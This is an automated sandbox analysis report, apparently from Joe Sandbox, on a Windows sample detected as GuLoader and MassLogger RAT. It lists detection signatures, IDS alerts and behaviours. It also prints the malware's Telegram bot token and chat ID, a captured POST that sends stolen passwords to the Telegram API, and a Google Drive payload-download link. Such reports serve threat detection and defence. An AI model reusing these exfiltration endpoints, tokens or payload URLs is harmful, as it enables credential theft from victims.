Edit tour

Windows Analysis Report
ppISxhDcpF.exe

Overview

General Information

Sample name:	ppISxhDcpF.exe renamed because original name is a hash value
Original sample name:	8dbe0f8d14496475bd0c298df8763deab33ec4a0a55880fb0b823586f65bc10a.exe
Analysis ID:	1587988
MD5:	e64faf30918d71691dfde574dd5a6fcb
SHA1:	1d2f1edd94620404e15df9369049c3ef1b6c2761
SHA256:	8dbe0f8d14496475bd0c298df8763deab33ec4a0a55880fb0b823586f65bc10a
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ppISxhDcpF.exe (PID: 7096 cmdline: "C:\Users\user\Desktop\ppISxhDcpF.exe" MD5: E64FAF30918D71691DFDE574DD5A6FCB)

ppISxhDcpF.exe (PID: 4932 cmdline: "C:\Users\user\Desktop\ppISxhDcpF.exe" MD5: E64FAF30918D71691DFDE574DD5A6FCB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1991339210.00000000035CA000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000005.00000002.2709490272.000000000225A000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: ppISxhDcpF.exe PID: 4932	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: ppISxhDcpF.exe PID: 4932	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ppISxhDcpF.exe PID: 4932	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 3 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:10:25.952826+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49775	149.154.167.220	443	TCP
2025-01-10T20:10:27.872981+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49789	149.154.167.220	443	TCP
2025-01-10T20:10:29.585453+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49801	149.154.167.220	443	TCP
2025-01-10T20:10:31.367472+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49815	149.154.167.220	443	TCP
2025-01-10T20:10:33.195949+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49830	149.154.167.220	443	TCP
2025-01-10T20:10:35.280818+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49842	149.154.167.220	443	TCP
2025-01-10T20:10:38.087273+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49863	149.154.167.220	443	TCP
2025-01-10T20:10:39.918825+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49873	149.154.167.220	443	TCP
2025-01-10T20:10:42.687233+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49893	149.154.167.220	443	TCP
2025-01-10T20:10:44.442650+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49906	149.154.167.220	443	TCP
2025-01-10T20:10:52.335658+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49956	149.154.167.220	443	TCP
2025-01-10T20:10:55.403341+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49978	149.154.167.220	443	TCP
2025-01-10T20:10:58.416665+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50000	149.154.167.220	443	TCP
2025-01-10T20:11:00.510043+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50006	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:10:16.856578+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49712	132.226.8.169	80	TCP
2025-01-10T20:10:24.778471+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49712	132.226.8.169	80	TCP
2025-01-10T20:10:27.028453+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49784	132.226.8.169	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:10:03.127284+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49710	172.217.23.110	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:10:25.435623+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49775	149.154.167.220	443	TCP
2025-01-10T20:10:27.603149+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49789	149.154.167.220	443	TCP
2025-01-10T20:10:29.349109+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49801	149.154.167.220	443	TCP
2025-01-10T20:10:31.086496+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49815	149.154.167.220	443	TCP
2025-01-10T20:10:32.825927+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49830	149.154.167.220	443	TCP
2025-01-10T20:10:34.821711+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49842	149.154.167.220	443	TCP
2025-01-10T20:10:37.780527+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49863	149.154.167.220	443	TCP
2025-01-10T20:10:39.593758+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49873	149.154.167.220	443	TCP
2025-01-10T20:10:42.401129+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49893	149.154.167.220	443	TCP
2025-01-10T20:10:44.222787+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49906	149.154.167.220	443	TCP
2025-01-10T20:10:51.846532+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49956	149.154.167.220	443	TCP
2025-01-10T20:10:54.932118+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49978	149.154.167.220	443	TCP
2025-01-10T20:10:58.032597+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50000	149.154.167.220	443	TCP
2025-01-10T20:11:00.155427+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50006	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd318086900029Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035934000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035A55000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000358DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035934000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035750000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035A55000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000358DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000358DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: ppISxhDcpF.exe, 00000005.00000002.2736621144.0000000037F8E000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000356D1000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2736621144.0000000037F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: ppISxhDcpF.exe, 00000005.00000002.2736621144.0000000037F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/0(
Source: ppISxhDcpF.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000356D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035934000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035A55000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000358DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: ppISxhDcpF.exe, 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000358DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382
Source: ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: ppISxhDcpF.exe, 00000005.00000002.2713551254.0000000005098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/c
Source: ppISxhDcpF.exe, 00000005.00000002.2713551254.0000000005098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/k
Source: ppISxhDcpF.exe, 00000005.00000002.2713949369.0000000006C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1x9DSfok3BU85kiqweJ7pgJp2Rx3of5t2
Source: ppISxhDcpF.exe, 00000005.00000002.2713551254.00000000050D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1x9DSfok3BU85kiqweJ7pgJp2Rx3of5t2)i
Source: ppISxhDcpF.exe, 00000005.00000002.2713551254.00000000050D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1x9DSfok3BU85kiqweJ7pgJp2Rx3of5t2Gh$
Source: ppISxhDcpF.exe, 00000005.00000003.2153544676.0000000005101000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.coml
Source: ppISxhDcpF.exe, 00000005.00000003.2153544676.0000000005101000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: ppISxhDcpF.exe, 00000005.00000003.2153544676.0000000005101000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2713551254.00000000050F0000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2153669681.0000000005106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/:
Source: ppISxhDcpF.exe, 00000005.00000003.2153544676.0000000005101000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2713551254.00000000050F0000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2153669681.0000000005106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/E
Source: ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2153544676.0000000005101000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2713551254.00000000050F0000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2153669681.0000000005106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1x9DSfok3BU85kiqweJ7pgJp2Rx3of5t2&export=download
Source: ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: ppISxhDcpF.exe, 00000005.00000003.2110466882.00000000050FA000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49775 version: TLS 1.2

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Code function: 0_2_004052F3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,LdrInitializeThunk,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,LdrInitializeThunk,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052F3

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 0_2_004032A0 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_004032A0 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		5_2_004032A0

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 0_2_00404B30	0_2_00404B30
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 0_2_00407041	0_2_00407041
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 0_2_0040686A	0_2_0040686A
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_00407041	5_2_00407041
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_0040686A	5_2_0040686A
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_00404B30	5_2_00404B30
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_001560E0	5_2_001560E0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_00154348	5_2_00154348
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_00158DF8	5_2_00158DF8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_00155978	5_2_00155978
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_00154329	5_2_00154329
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_38017848	5_2_38017848
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_38015876	5_2_38015876
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801331A	5_2_3801331A
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_380103AF	5_2_380103AF
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801CCA0	5_2_3801CCA0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801C638	5_2_3801C638
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801F05A	5_2_3801F05A
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801B07F	5_2_3801B07F
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801B930	5_2_3801B930
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801C1F2	5_2_3801C1F2
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801DA89	5_2_3801DA89
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801E339	5_2_3801E339
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801E347	5_2_3801E347
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801EBF2	5_2_3801EBF2
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801CCA2	5_2_3801CCA2
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801B4F2	5_2_3801B4F2
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801BDA2	5_2_3801BDA2
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_38017628	5_2_38017628
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_38016E91	5_2_38016E91
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_38016EA0	5_2_38016EA0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801DEE1	5_2_3801DEE1
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_38017F60	5_2_38017F60
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801E790	5_2_3801E790
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801E79F	5_2_3801E79F
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384BA9B0	5_2_384BA9B0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384BBA88	5_2_384BBA88
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384BA360	5_2_384BA360
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B9D10	5_2_384B9D10
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384BBDF0	5_2_384BBDF0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B8650	5_2_384B8650
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B96C8	5_2_384B96C8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B1848	5_2_384B1848
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B0040	5_2_384B0040
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B1858	5_2_384B1858
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B7061	5_2_384B7061
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B7070	5_2_384B7070
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B4820	5_2_384B4820
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B20F8	5_2_384B20F8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B2108	5_2_384B2108
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384BF128	5_2_384BF128
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384BF130	5_2_384BF130
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B51F8	5_2_384B51F8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384BA9A0	5_2_384BA9A0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B29B8	5_2_384B29B8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B3258	5_2_384B3258
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B3268	5_2_384B3268
